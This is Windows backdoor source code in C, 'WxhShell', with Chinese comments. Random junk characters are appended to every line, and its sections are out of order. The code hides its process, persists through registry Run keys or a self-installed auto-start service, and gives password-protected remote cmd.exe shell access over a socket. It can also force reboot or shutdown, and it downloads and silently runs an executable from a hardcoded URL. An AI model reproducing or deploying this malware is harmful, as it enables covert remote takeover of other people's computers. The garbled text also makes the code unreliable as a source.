    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +/86w59  
    else { 1|w:xG^  
    closesocket(wsh); fZ:rz;tM  
    ExitThread(0); p!QneeA`&X  
    } QfWu~[  
    break; GSnHxs)  
    } v^_]W3K  
  // 获取shell bvS\P!m\c  
  case 's': { E(+wl  
    CmdShell(wsh); -0WCwv  
    closesocket(wsh); psy(]Pf  
    ExitThread(0); Pt0}9Q  
    break; (G%gVk]  
  } s{J!^q  
  // 退出 WTv\HI2X !  
  case 'x': { I jztj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DLVs>?Y  
    CloseIt(wsh); [HiTR!o*  
    break; <L ( =  
    } y"L`bl A9}  
  // 离开 E(kb!Rz  
  case 'q': { p<fgUVR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7"NJraQ6  
    closesocket(wsh); :fKz^@mY4  
    WSACleanup(); YkAWKCOni  
    exit(1); `Mp7 })  
    break; M #=5u`h  
        } ~2DV{dyj  
  } aC Lg~g4  
  } 7oLf5V1~  
}\L !;6oy  
  // 提示信息 yxWMatZ2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =,8Eo"~\  
} b<V./rWIB  
  } nEcd+7(  
9`n) "r  
  return; S@zkoj@  
} {2gd4[:  
-Dq:Y,%q  
// shell模块句柄 q;0&idYC  
int CmdShell(SOCKET sock) 9f%y)[ \  
{ O0(Q0Ko  
STARTUPINFO si; F@'rP++4  
ZeroMemory(&si,sizeof(si));  {%~4RZA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C 3XZD4.2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #Q7x:,f  
PROCESS_INFORMATION ProcessInfo; "~2#!bK7  
char cmdline[]="cmd"; 5~%,u2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dtnet_j  
  return 0; ^C)TM@+  
} -YjgS/g  
[gns8F#H\  
// 自身启动模式 Y0fO.k#C^  
int StartFromService(void) !a&SB*%^I3  
{ #!u51P1  
typedef struct $EGRaps{j>  
{ V]kGcS}  
  DWORD ExitStatus; u}LX,B-n(  
  DWORD PebBaseAddress; m5em<P!G  
  DWORD AffinityMask; dGD^op,6g  
  DWORD BasePriority; DEQE7.]3q  
  ULONG UniqueProcessId; d J%Rk#?;A  
  ULONG InheritedFromUniqueProcessId; M$4=q((0  
}   PROCESS_BASIC_INFORMATION; ~z _](HKoS  
K _+;"G  
PROCNTQSIP NtQueryInformationProcess; 3JZWhxkf[$  
b801O F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LUDJPIk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |~b R.IA  
DMcxa.Sd!  
  HANDLE             hProcess; [kuVQ$)  
  PROCESS_BASIC_INFORMATION pbi; YyJ{  
Z'*Z@u3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7kX$wQZ_  
  if(NULL == hInst ) return 0; YaNH.$.:  
#W%)$k c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^?7dOW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  I`'a'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UUMdZ+7  
1^f.5@tV  
  if (!NtQueryInformationProcess) return 0; =1 BNCKT<  
%X"m/4c8}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E_D ^O  
  if(!hProcess) return 0; ]dbSa1?  
0+<eRR9 -  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ta4JWllf  
(YYj3#|  
  CloseHandle(hProcess); 8lWH=kA\  
:9F''f$AP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :IVk_[s  
if(hProcess==NULL) return 0; 8hKP  
6snOMa GRu  
HMODULE hMod; ;w6fM  
char procName[255]; Gl8&FrR  
unsigned long cbNeeded; b WbXh$  
E<<p_hX8R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U7B/t3,=U  
QSF"8Uk  
  CloseHandle(hProcess); { 8f+h  
S'!q}|7X 3  
if(strstr(procName,"services")) return 1; // 以服务启动 =%3b@}%HqS  
`e $n$Bh  
  return 0; // 注册表启动 ~3bZ+*H>  
} h^A3 0f_x  
pFJQ7Jlx  
// 主模块 ! FR%QGn1  
int StartWxhshell(LPSTR lpCmdLine) 6mu<&m@  
{ )W1(tEq59  
  SOCKET wsl; BU9J_rCIv  
BOOL val=TRUE; -!|WZ   
  int port=0; ```d:f  
  struct sockaddr_in door; 1X::0;3  
7k] RO  
  if(wscfg.ws_autoins) Install(); l 70,Jo?78  
i>Fvmw  
port=atoi(lpCmdLine); P1i*u0a  
^}o7*   
if(port<=0) port=wscfg.ws_port; %-# q O  
SY'2A)  
  WSADATA data; x*h?%egB!p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [Y$5zeA  
3duG.iUlL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zUs~V`0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `k(u:yGK  
  door.sin_family = AF_INET; }qiF^D}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \9]I#Ih}M  
  door.sin_port = htons(port); X%GD0h]X#  
s !#HZK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zb5N,!%r  
closesocket(wsl); Xb]=:x(  
return 1; I(]BMMj  
} T~%H%O(F  
sn-)(XU!  
  if(listen(wsl,2) == INVALID_SOCKET) { $T?*0"Mj[  
closesocket(wsl); g/8.W  
return 1; )RwBg8  
} ?0rOcaTY  
  Wxhshell(wsl); v<;: 0  
  WSACleanup(); hojHbmm4  
|e*GzD  
return 0; OE'K5oIM  
}xDB ~k  
} ~{kM5:-iw  
/ l".}S  
// 以NT服务方式启动 a-]hW=[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K1T1@ j  
{ e(yQKwVD  
DWORD   status = 0; .Gizz</P~  
  DWORD   specificError = 0xfffffff; 5M%,N-P^  
G HD^%)T5^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d/XlV]#2x\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A7k'K4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O)`fvpVU  
  serviceStatus.dwWin32ExitCode     = 0; Bx(yu'g|a  
  serviceStatus.dwServiceSpecificExitCode = 0; ! FNf>z+  
  serviceStatus.dwCheckPoint       = 0; 5x8'K7/4.  
  serviceStatus.dwWaitHint       = 0; Tu]&^[B('  
Y4mC_4EU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [E>R.Oe  
  if (hServiceStatusHandle==0) return; fO].e"}  
]7a;jNQu  
status = GetLastError(); [6D>f?z  
  if (status!=NO_ERROR) FU%~9NKX  
{ GR,J0LT   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Aoj6k\YX  
    serviceStatus.dwCheckPoint       = 0; '_B_&is  
    serviceStatus.dwWaitHint       = 0; ]o-Fi$h!  
    serviceStatus.dwWin32ExitCode     = status; 7zD- ?%  
    serviceStatus.dwServiceSpecificExitCode = specificError; BlXX:aZv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Hv;<  
    return; NQ? x8h3  
  } n0_B(997*  
: *ERRSL)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D" L|"qJ  
  serviceStatus.dwCheckPoint       = 0; R0%?:! F  
  serviceStatus.dwWaitHint       = 0; $`|5/,M%QN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -#Np7/  
} I(pb-oY3!I  
jOs H2^  
// 处理NT服务事件,比如:启动、停止 BBcj=]"_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '/k^C9~m r  
{ Bg-VCJI<  
switch(fdwControl) #c-b}.R  
{ MDk*j,5V  
case SERVICE_CONTROL_STOP: +%P t_  
  serviceStatus.dwWin32ExitCode = 0; Vo%Yf9C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *|mz_cKu  
  serviceStatus.dwCheckPoint   = 0; |U#DUqw  
  serviceStatus.dwWaitHint     = 0; 9Uk(0A  
  { /I`3dWL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1t+%Gv^sK  
  } tJ"az=?  
  return; XdpF&B&K7Q  
case SERVICE_CONTROL_PAUSE: [4p=X=B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (Akd8}nf~  
  break; `)6>nPr7P  
case SERVICE_CONTROL_CONTINUE: ?cJY B)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~z5@V5 z  
  break; F) ?o,  
case SERVICE_CONTROL_INTERROGATE: \/!ZA[D|E\  
  break; Jy9bY  
}; sxo;/~.p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8x9Rm  
} 4IZlUJ?j+c  
/|?F)%v\  
// 标准应用程序主函数 < kz[:n:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I~)cYl:|G  
{ &&WDo(r3  
H)E^!eo  
// 获取操作系统版本 IV0[!D  
OsIsNt=GetOsVer(); W<v_2iVu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7,*%[#-HE  
>V(zJ  
  // 从命令行安装 |Ab{H%  
  if(strpbrk(lpCmdLine,"iI")) Install(); ibXe"X/_  
jeq:  
  // 下载执行文件 RX'-99M  
if(wscfg.ws_downexe) { w:}C8WKw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3qtr9NI  
  WinExec(wscfg.ws_filenam,SW_HIDE); qIh #~  
} GB>aT-G7q  
Gg|M+M?+  
if(!OsIsNt) { lyyX<=E{)  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^_68]l=  
HideProc(); O+_N!/  
StartWxhshell(lpCmdLine); ZHCr2^w6  
} Q[uAIyv0  
else 77*qkKr  
  if(StartFromService()) cx{T '1  
  // 以服务方式启动 D{cZxI  
  StartServiceCtrlDispatcher(DispatchTable); # ORO&78  
else Rn-G @}f  
  // 普通方式启动 1}}>Un`U5,  
  StartWxhshell(lpCmdLine); t,h{+lYU  
Cp^g'&  
return 0; wz#A1F  
} z1vw'VT>  
b#/i.!:a  
U]1(&MgV  
^/dS>_gtHv  
=========================================== \tx%WC  
0I 5&a  
v0#*X5C1'  
g6%Z)5D]!  
QL97WK\$  
;wR 'z$8  
" RPH1''*!  
B76 v}O:  
#include <stdio.h> vX;HC'%n  
#include <string.h>  8gC)5Y  
#include <windows.h> Hm fXe  
#include <winsock2.h> wzh ]97b  
#include <winsvc.h> >.<ooWw  
#include <urlmon.h> Km!nM$=k  
R* 9NR,C  
#pragma comment (lib, "Ws2_32.lib") wAFW*rO5o  
#pragma comment (lib, "urlmon.lib") v$Uhm</|19  
`ZMK9f:  
#define MAX_USER   100 // 最大客户端连接数 *V1J4 u  
#define BUF_SOCK   200 // sock buffer rwSbqL^eM  
#define KEY_BUFF   255 // 输入 buffer x6;j<m5Mjx  
g?G+dnl/8  
#define REBOOT     0   // 重启 J#Z5^)$  
#define SHUTDOWN   1   // 关机 zE|Wn3_sd  
c2*`2qK#  
#define DEF_PORT   5000 // 监听端口 j1q[c,  
/YH`4e5g  
#define REG_LEN     16   // 注册表键长度 brSi<  
#define SVC_LEN     80   // NT服务名长度 nX^1$')gp  
l?8)6z#Zl  
// 从dll定义API  f:wd&V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c0ez/q1S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A\AT0th  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (UYF%MA}"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0 [8=c&F  
aDL*W@1S  
// wxhshell配置信息 )R?;M  
struct WSCFG { ]]BOk  
  int ws_port;         // 监听端口 <G ~>~L.E  
  char ws_passstr[REG_LEN]; // 口令 $bsH$N#6T  
  int ws_autoins;       // 安装标记, 1=yes 0=no {G3i0 r  
  char ws_regname[REG_LEN]; // 注册表键名 @I-Lv5  
  char ws_svcname[REG_LEN]; // 服务名 v,OpTu:1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u6Je@e_!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 --fFpM3EvS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1J}8sG2`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y(a!YicA?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eV7 u*d?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;%!B[+ut"  
Pc_VY>Ty  
}; JOb MZA$  
}BJX/, H,  
// default Wxhshell configuration X!tf#tl  
struct WSCFG wscfg={DEF_PORT, wRtZ `o  
    "xuhuanlingzhe", /i_ @  
    1, rwE%G>Vb  
    "Wxhshell", =IjQ40W  
    "Wxhshell", z@Hp,|Vy[  
            "WxhShell Service", [/ M`  
    "Wrsky Windows CmdShell Service", DmqSQA  
    "Please Input Your Password: ", . +  
  1, PftxqJz  
  "http://www.wrsky.com/wxhshell.exe", (Yb[)m>fQ}  
  "Wxhshell.exe" LF*&(NC  
    }; 0;.<~;@h  
Dyg?F )6  
// 消息定义模块 831JwS R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v jT( Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3c3OG.H$8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wJ+Aw  
char *msg_ws_ext="\n\rExit."; Ysi  g T  
char *msg_ws_end="\n\rQuit."; -JT/ 9IQ  
char *msg_ws_boot="\n\rReboot..."; 'h1b1,b~  
char *msg_ws_poff="\n\rShutdown..."; T=Z.TG|lIx  
char *msg_ws_down="\n\rSave to "; v2+!1r7@  
^tH#YlV4>9  
char *msg_ws_err="\n\rErr!"; hk>;pU(  
char *msg_ws_ok="\n\rOK!"; MJ{%4S{K,p  
)C hqATKg  
char ExeFile[MAX_PATH]; Ts$@s^S]  
int nUser = 0; E=]4ctK  
HANDLE handles[MAX_USER]; ut2~rRiK  
int OsIsNt; M@Q3M(z  
Vz=auM1xZ  
SERVICE_STATUS       serviceStatus; eH%RNtP`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OJAIaC\  
EZDy+6b  
// 函数声明 S9| a$3K'  
int Install(void); 6Jz^  
int Uninstall(void); 9uk<&nqx  
int DownloadFile(char *sURL, SOCKET wsh); \]4v_!  
int Boot(int flag); *QGm/ /b  
void HideProc(void); 1O/ g&u  
int GetOsVer(void); t.Nb? /  
int Wxhshell(SOCKET wsl); 2&!bfq![  
void TalkWithClient(void *cs); .L6Zm U  
int CmdShell(SOCKET sock); .;7> y7$*  
int StartFromService(void); -O!/Jv"{,[  
int StartWxhshell(LPSTR lpCmdLine); rN)V[5R#M  
{a(&J6$VE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "&.S&=FlI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9=X)ung9  
LE6.nmvS  
// 数据结构和表定义 ^' M>r (t  
SERVICE_TABLE_ENTRY DispatchTable[] = q`NXJf=sc  
{ {'En\e  
{wscfg.ws_svcname, NTServiceMain}, Q]/Uq~m C  
{NULL, NULL} Q Fm|-j  
}; b</9Ai=  
NB_ )ZEmF  
// 自我安装 vmTs9"ujF,  
int Install(void) PQN@JaD  
{ +HT1ct+dI  
  char svExeFile[MAX_PATH]; -_ C#wtC  
  HKEY key; G q<X4C#|  
  strcpy(svExeFile,ExeFile); D]G)j  
ao_4mSB  
// 如果是win9x系统,修改注册表设为自启动 jnB~sbyA  
if(!OsIsNt) { EZ;"'4;W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :#k &\f-Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]i<[d ,  
  RegCloseKey(key); KnhoaBB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sq\(pfv o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NEt1[2X%  
  RegCloseKey(key); 2 dp>Z",  
  return 0; wr(*?p]R  
    } =Z=o#46JY  
  } a, Q#Dk  
} BVsD( @lX  
else { fA/m1bYxg  
(Rt7%{*  
// 如果是NT以上系统,安装为系统服务 o2z]dTJ}o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [u}(57DS  
if (schSCManager!=0) 2%RNq<{Z_  
{ zmj"fN{\  
  SC_HANDLE schService = CreateService t\P<X^d%  
  ( *Xo]-cKL0  
  schSCManager, (+uj1z^  
  wscfg.ws_svcname, tGA :[SP  
  wscfg.ws_svcdisp, <f@"HG l  
  SERVICE_ALL_ACCESS, OU5*9_7.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k>x&Ip8p  
  SERVICE_AUTO_START, ;Gx)Noo/>  
  SERVICE_ERROR_NORMAL, O$/o'"@ /  
  svExeFile, 9O{b]=>wq  
  NULL, l3Njq^T  
  NULL, y[B>~m8$  
  NULL, HK\~Qnq  
  NULL, _Z5Mw+=19  
  NULL \`V;z~@iA  
  ); # mize  
  if (schService!=0) H]4Hj  
  { KL$bqgc(p3  
  CloseServiceHandle(schService); ^7zu<lX  
  CloseServiceHandle(schSCManager); .#02 ngh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ['8!qr  
  strcat(svExeFile,wscfg.ws_svcname); _@S`5;4x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  |@NiW\O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T91moRv  
  RegCloseKey(key); @36u8pE  
  return 0; Zo1,1O  
    } ,h"-  
  } bR@p<;G|  
  CloseServiceHandle(schSCManager); ]smkTo/  
} qC F5~;7  
} [Nn`l,  
O G<,- 7  
return 1; c'/l,k  
} |5Xq0nvCe  
U9b?i$  
// 自我卸载 .bBdQpF-  
int Uninstall(void) Y0eE-5F,  
{ {(r6e  
  HKEY key; L(&&26Y  
quY:pqG38q  
if(!OsIsNt) { ca+5=+X7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  {o(j^@  
  RegDeleteValue(key,wscfg.ws_regname); q, O$ %-70  
  RegCloseKey(key); n; {76Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YPHS 1E?  
  RegDeleteValue(key,wscfg.ws_regname); LL:_L<  
  RegCloseKey(key); k)EX(T\  
  return 0; >EY3/Go>  
  } boDt`2=  
} }&_/PA0j  
} MEB it  
else { ER,1(1]N  
vWAL^?HUP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d!eYqM7-G  
if (schSCManager!=0) x.S3Zi}=  
{ M4as  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f^W;A"+  
  if (schService!=0) 9 (QJT}qC  
  { j?'GZ d"B  
  if(DeleteService(schService)!=0) { 98^V4maR:  
  CloseServiceHandle(schService); t!RiUZAo  
  CloseServiceHandle(schSCManager); 5\z `-)  
  return 0; SdD6 ~LS  
  } #%DE;  
  CloseServiceHandle(schService); Xh56T^,2  
  } *}P~P$q%  
  CloseServiceHandle(schSCManager); Gz .|]:1  
} H%D$(W  
} 21"1NJzP  
eJg8,7WC  
return 1; t5 G9!Nn  
} X&kp;W  
j]`PSl+w  
// 从指定url下载文件 1I:+MBGin  
int DownloadFile(char *sURL, SOCKET wsh) O%bEB g  
{ ](hE^\SC  
  HRESULT hr; EFz&N\2  
char seps[]= "/"; 4EY)!?;  
char *token; h $2</J"  
char *file; 0Vx.nUQ  
char myURL[MAX_PATH]; !r<pmr3f@7  
char myFILE[MAX_PATH]; =E.wv  
@;"|@!l|  
strcpy(myURL,sURL); E>K!Vrh-L  
  token=strtok(myURL,seps); z<Nfm  
  while(token!=NULL) 7 qS""f7  
  { 3W N@J6?  
    file=token; AIZ]jq  
  token=strtok(NULL,seps); .[_L=_.  
  } &q9T9A OS  
5 sX+~Q  
GetCurrentDirectory(MAX_PATH,myFILE); 5aCgjA11  
strcat(myFILE, "\\"); ez| )ph7  
strcat(myFILE, file); ]9^sa-8  
  send(wsh,myFILE,strlen(myFILE),0); ~sh`r{0  
send(wsh,"...",3,0); }~L.qG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {tWf  
  if(hr==S_OK)  qi^7  
return 0; ~A\GT$  
else 9iQq.$A.  
return 1; F%RRd/'  
|!4K!_y  
} 1eF3`  
.6Pw|xu`Pw  
// 系统电源模块 d$1@4r  
int Boot(int flag) ,5h)x"s  
{ I`!<9OTBj  
  HANDLE hToken; 6^`1\ #f  
  TOKEN_PRIVILEGES tkp; F'21jy&  
BI%$c~wS  
  if(OsIsNt) { <J`0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .:F%_dS D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %xI p5h]  
    tkp.PrivilegeCount = 1; p;>ec:z3M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @J/K-.r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XwJ7|cB  
if(flag==REBOOT) { "]} bFO7C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oG_~q w|h  
  return 0; WvY? +JXJ  
} %WjXg:R  
else { JxM]9<a=4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MDnua  
  return 0; =c\>(2D  
} (,0(   
  } |IzPgC  
  else { 8<QdMkI  
if(flag==REBOOT) { ;@oN s-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &OH={Au  
  return 0; Fww :$^_ k  
} W:pIPDx1=!  
else { pOIJH =#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s{ *[]!  
  return 0; k5'Vy8q  
} p$] 3'jw  
} o6.^*%kM'  
W*2BT z  
return 1; 3[Qxd{8r  
} rX2.i7i,  
(@fHl=! Za  
// win9x进程隐藏模块 m;GCc8  
void HideProc(void) )"7iJb<E  
{ AP 2_MV4W  
Pd_U7&w,5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !Dn,^  
  if ( hKernel != NULL ) at,XB.}Z]  
  { 4O^xY 6m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8;JWK3Gv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '-Vt|O_Q  
    FreeLibrary(hKernel); . 1Dg s=|  
  } I;wp':  
+%h8r5o1  
return; _@ qjV~%Sy  
} Z 2V.3  
L>Fa^jq5  
// 获取操作系统版本 86=}ZGWd  
int GetOsVer(void) _-K2/6zy  
{  iu=7O  
  OSVERSIONINFO winfo; , /Z%@-rF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;n*.W|Uph  
  GetVersionEx(&winfo); 0ypNUG}   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ymhtX6]  
  return 1; qN9(S:_Px  
  else -=)H{  
  return 0; }C"%p8=HM  
} V^bwXr4f  
?BeiY zg  
// 客户端句柄模块 p>v$FiV2N  
int Wxhshell(SOCKET wsl) Nk? ^1n$  
{ g}k`o!q  
  SOCKET wsh; Y!w`YYKP  
  struct sockaddr_in client; wd8 l$*F*  
  DWORD myID; B" 1c  
yg<R=$n,Q  
  while(nUser<MAX_USER) rr],DGg+B]  
{ 0d)M\lG  
  int nSize=sizeof(client); IL#"~D?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wDal5GJp  
  if(wsh==INVALID_SOCKET) return 1; l[0RgO*S  
k8&;lgO '  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k<CJ{u0<  
if(handles[nUser]==0) |6sp/38#p  
  closesocket(wsh); q376m-+  
else un mJbY;t  
  nUser++; Q4#m\KK;i9  
  } /K@XzwM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;PF<y9M  
&R'c.  
  return 0; aFX=C >M  
} 7W Ly:E"  
uP)'FI  
// 关闭 socket _^Ubs>d=*  
void CloseIt(SOCKET wsh) /L g)i\R;  
{ g[' ^L +hd  
closesocket(wsh); 3w*R&  
nUser--; 2j [=\K]  
ExitThread(0); JzQ_{J`k  
} 6,8h]?u.  
xX&+WR  
// 客户端请求句柄 fgp]x&5Q  
void TalkWithClient(void *cs) n,y ZRY  
{ \h/H#j ZJ  
]vUwG--*  
  SOCKET wsh=(SOCKET)cs; cKca;SNql1  
  char pwd[SVC_LEN]; r,73C/*&/  
  char cmd[KEY_BUFF]; RLjc&WhzXu  
char chr[1]; *SJ_z(CZm  
int i,j; ,aZ[R27rpL  
>C>.\  
  while (nUser < MAX_USER) { gV's=cQ  
s%7t"-=&  
if(wscfg.ws_passstr) {  ~d.Y&b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,wb:dj-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C2kPMB=Xo  
  //ZeroMemory(pwd,KEY_BUFF); G5BfNU  
      i=0; S6DKREO  
  while(i<SVC_LEN) { Ko<:Z)PS  
w3ResQ   
  // 设置超时 2~)`N>@  
  fd_set FdRead; `KoV_2|  
  struct timeval TimeOut; z#wkiCRYm  
  FD_ZERO(&FdRead); T4Uev*A  
  FD_SET(wsh,&FdRead); <44G]eb  
  TimeOut.tv_sec=8; hD 82tr  
  TimeOut.tv_usec=0; lfow1WRF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *w`sM%]Rq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z"xvh81P  
2*& ^v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q 'yva  
  pwd=chr[0]; A:%`wX}  
  if(chr[0]==0xd || chr[0]==0xa) { rH Lm\3  
  pwd=0; &jJL"gq"  
  break; 6P l<'3&  
  } F0TB<1  
  i++; AO4U}?  
    } ASA,{w]  
m.rmM`  
  // 如果是非法用户,关闭 socket +Mb.:_7'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rh{f5-  
} eF$x1|  
(mpNcOY<D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z43M] P<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m=:9+z  
x=P\qjSa  
while(1) { Dw.J2>uj  
m+[Ux{$  
  ZeroMemory(cmd,KEY_BUFF); c7k~S-nU  
H/ HMm{4  
      // 自动支持客户端 telnet标准   C ;W"wBz9  
  j=0; lTgjq:mn  
  while(j<KEY_BUFF) { IM'r8 V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K;G~V\  
  cmd[j]=chr[0]; p8O2Z? \  
  if(chr[0]==0xa || chr[0]==0xd) { $7ZX]%<s  
  cmd[j]=0; x|Bf-kc[#Q  
  break; 1.GQau~  
  } !wVM= z^G  
  j++; <iC(`J$D  
    } j</: WRA`]  
g*_&  
  // 下载文件 *i%.;Z"  
  if(strstr(cmd,"http://")) { %5n_ p^xp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Xl#ggub?  
  if(DownloadFile(cmd,wsh)) E{`fF8]K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 45c$nuZ  
  else *] ) `z8Ox  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &j"?\f?  
  }  eq;uO6[  
  else { {4Cmu;u  
'zTLl8P  
    switch(cmd[0]) { '-~~-}= sJ  
  7R\<inCQ  
